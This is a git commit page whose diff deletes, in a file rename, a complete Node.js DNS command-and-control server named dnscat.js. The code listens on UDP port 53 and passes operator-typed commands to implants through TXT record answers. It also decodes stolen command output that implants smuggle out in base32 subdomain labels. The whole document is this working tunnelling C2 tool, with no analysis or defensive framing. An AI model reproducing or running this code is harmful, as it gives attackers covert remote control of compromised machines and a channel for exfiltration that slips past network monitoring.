diff options
| author | Carson Fleming <cflems@cflems.net> | 2022-07-15 01:04:39 -0700 |
|---|---|---|
| committer | Carson Fleming <cflems@cflems.net> | 2022-07-15 01:04:39 -0700 |
| commit | 833d3536704e74066633899d48fdfbb06127e31d (patch) | |
| tree | c9051cd841f66a2a2148e840f1e0ca591fc36068 /dnscat.js | |
| parent | c7c1bafa4b3b6deb0da1cf9eb06864a69938e1ac (diff) | |
| download | dnscc-833d3536704e74066633899d48fdfbb06127e31d.tar.gz | |
Remove debugging prints; rename main file
Diffstat (limited to 'dnscat.js')
| -rw-r--r-- | dnscat.js | 286 |
1 files changed, 0 insertions, 286 deletions
diff --git a/dnscat.js b/dnscat.js deleted file mode 100644 index 8956b2e..0000000 --- a/dnscat.js +++ /dev/null @@ -1,286 +0,0 @@ -const dgram = require('dgram'); -const Buffer = require('buffer').Buffer; -const readline = require('readline'); - -const host = '0.0.0.0'; -const port = 53; -const commandQueue = []; - -const length_descending = (a, b) => b.length - a.length; -const domains = process.argv.length > 2 ? process.argv.slice(2).sort(length_descending) : []; -const sock = dgram.createSocket('udp4'); - -function bitSlice(byte, offset, len) { - return (byte >>> (8 - offset - len)) & ~(0xff << len); -} - -function parseRequest(buffer) { - const query = { - header: {}, - questions: [], - }; - - query.header.id = buffer.subarray(0, 2); - - let tmp = buffer.subarray(2, 3).toString('binary', 0, 1).charCodeAt(0); - query.header.qr = bitSlice(tmp, 0, 1); - query.header.opcode = bitSlice(tmp, 1, 4); - query.header.aa = bitSlice(tmp, 5, 1); - query.header.tc = bitSlice(tmp, 6, 1) - query.header.rd = bitSlice(tmp, 7, 1); - - tmp = buffer.subarray(3, 4).toString('binary', 0, 1).charCodeAt(0); - query.header.ra = bitSlice(tmp, 0, 1); - query.header.z = bitSlice(tmp, 1, 3); - query.header.rcode = bitSlice(4, 4); - - query.header.qdcount = buffer.subarray(4, 6); - query.header.ancount = buffer.subarray(6, 8); - query.header.nscount = buffer.subarray(8, 10); - query.header.arcount = buffer.subarray(10, 12); - - let idx = 12; - let question = {}; - let domain = ''; - let questionsLeft = query.header.qdcount.readUInt16BE(); - - while (idx < buffer.length - 4) { - const sz = buffer[idx]; - if (sz == 0) { - question.qname = domain.substr(1); - question.qtype = buffer.subarray(idx + 1, idx + 3); - question.qclass = buffer.subarray(idx + 3, idx + 5); - query.questions.push(question); - - if (--questionsLeft == 0) break; - question = {}; - domain = ''; - idx += 5; - } else { - domain += '.' + buffer.toString('binary', idx + 1, idx + sz + 1); - idx += sz + 1; - } - } - - return query; -} - -function buildResponse(query, qn, text) { - const answer = { - header: {}, - question: query.questions[qn], - rr: { - qname: query.questions[qn].qname, - qtype: query.questions[qn].qtype, - qclass: query.questions[qn].qclass, - ttl: 0, - rdata: text, - rdlen: text.length, - }, - }; - - answer.header.id = query.header.id; - answer.header.qr = 1; - answer.header.opcode = query.header.opcode; - answer.header.aa = 1; - answer.header.tc = 0; - answer.header.rd = query.header.rd; - answer.header.ra = 0; - answer.header.z = 0; - answer.header.rcode = 0; - - answer.header.qdcount = query.questions.length; - answer.header.ancount = 1; - answer.header.nscount = 0; - answer.header.arcount = 0; - - return buildResponseBuffer(answer); -} - -function wrapQName(str, offset, ptrs = {}) { - str = str.toLowerCase(); - if (str in ptrs) return [0xc0, ptrs[str]]; - ptrs[str] = offset; - - const selectors = str.split('.'); - const buffer = []; - - for (const selector of selectors) { - buffer.push(selector.length & 0x3f); - for (let i = 0; i < selector.length; i++) { - buffer.push(selector.charCodeAt(i)); - } - } - - buffer.push(0x00); - return buffer; -} - -function buildResponseBuffer(answer) { - const pointerTable = {}; - const wrappedName = Buffer.from(wrapQName(answer.question.qname, 12, pointerTable)); - const qnsz = wrappedName.length; - const sz = 16 + qnsz; - const buffer = Buffer.alloc(sz); - - answer.header.id.copy(buffer, 0, 0, 2); - buffer[2] = answer.header.qr << 7 | answer.header.opcode << 3 | answer.header.aa << 2 | answer.header.tc << 1 | answer.header.rd; - buffer[3] = answer.header.ra << 7 | answer.header.z << 4 | answer.header.rcode; - - buffer.writeUInt16BE(answer.header.qdcount, 4); - buffer.writeUInt16BE(answer.header.ancount, 6); - buffer.writeUInt16BE(answer.header.nscount, 8); - buffer.writeUInt16BE(answer.header.arcount, 10); - - wrappedName.copy(buffer, 12, 0, qnsz); - answer.question.qtype.copy(buffer, 12 + qnsz, 0, 2); - answer.question.qclass.copy(buffer, 14 + qnsz, 0, 2); - - const rr = wrapQName(answer.rr.qname, sz, pointerTable); - - const qtype = answer.rr.qtype.readUInt16BE(); - rr.push(qtype >> 8 & 0xff); - rr.push(qtype & 0xff); - const qclass = answer.rr.qclass.readUInt16BE(); - rr.push(qclass >> 8 & 0xff); - rr.push(qclass & 0xff); - const ttl = answer.rr.ttl; - rr.push(ttl >> 24 & 0xff); - rr.push(ttl >> 16 & 0xff); - rr.push(ttl >> 8 & 0xff); - rr.push(ttl & 0xff); - const rdlength = answer.rr.rdlen + 1; - rr.push(rdlength >> 8 & 0xff); - rr.push(rdlength & 0xff); - rr.push(rdlength - 1 & 0xff); - - const rrdata = rr.concat(answer.rr.rdata.split('').map(c => c.charCodeAt(0))); - return Buffer.concat([buffer, Buffer.from(rrdata)]); -} - -sock.on('message', function(req, rinfo) { - const query = parseRequest(req); - for (let i = 0; i < query.questions.length; i++) { - if (query.questions[i].qtype.readUInt16BE() != 16) continue; // only answer TXT queries - - const qname = query.questions[i].qname.toLowerCase(); - let recognized = false, domain; - - for (domain of domains) { - domain = domain.toLowerCase(); - if (qname.endsWith('.' + domain)) { - recognized = true; - break; - } - } - if (!recognized) continue; - - const selector = qname.substr(0, qname.indexOf('.' + domain)).toLowerCase(); - const overhead = 32, max_sz = 512, max_txt = 255; - - let resp; - - if (selector == "asuh") { - if (commandQueue.length < 1) { - resp = 'nop'; - } else { - resp = commandQueue.shift(); - while (resp.length > max_txt || resp.length + domain.length + overhead > max_sz) { - console.log('\n[WARN] Queued command is too long; skipping "', resp, '"'); - rl.prompt(true); - resp = commandQueue.length > 0 ? commandQueue.shift() : 'nop'; - } - } - } else { - const output = unpack(selector); - if (!output) { - console.log('\n[WARN] Unable to decode selector:', selector, "; tampering detected"); - rl.prompt(true); - return; - } - console.log(); - if (output === '\xde\xadDONE') { - console.log(); - rl.prompt(true); - } else { - process.stdout.write(output); - } - - resp = 'ok'; - } - - const responseBuffer = buildResponse(query, i, resp); - sock.send(responseBuffer, 0, responseBuffer.length, rinfo.port, rinfo.address, function(e) { - if (e) console.warn('Error Sending Response:', e); - }); - } -}); - -function unpack(s) { - const chunks = s.split('.').reverse().map(c => decode(c)); - return chunks.join(''); -} - -function decode(s) { - const len = s.length; - const apad = 'abcdefghijklmnopqrstuvwxy1234567z'; - let v,x,r=0,bits=0,c,o=''; - - for(i=0;i<len;i+=1) { - v = apad.indexOf(s.charAt(i)); - if (v < 0 || v > 32) return false; - if (v == 32) continue; - - x = (x << 5) | v; - bits += 5; - if (bits >= 8) { - c = (x >> (bits - 8)) & 0xff; - o = o + String.fromCharCode(c); - bits -= 8; - } - } - if (bits>0) { - c = ((x << (8 - bits)) & 0xff) >> (8 - bits); - - if (c!==0) { - o = o + String.fromCharCode(c); - } - } - - return o; -} - -sock.on('error', function(e) { - console.error('Socket Error:', e); -}); - -sock.bind(port, host); -console.log('Bound on '+host+':'+port); -console.log('Serving domains: ', domains); - -const rl = readline.createInterface({ - input: process.stdin, - output: process.stdout, - terminal: true, - prompt: '\x1b[1;37m[0xdeadc0de]\x1b[0m ', -}); - -rl.on('line', function (cmd) { - commandQueue.push(cmd.trim()); -// rl.prompt(); -}); - -rl.on('close', function () { - console.log('Quitting.'); - sock.close(); -}); - -rl.on('SIGINT', function () { - console.log('^C'); - rl.line = ''; - rl.cursor = 0; - rl.prompt(); -}); - -console.log('[INFO] Command interpreter started') -rl.prompt(); |
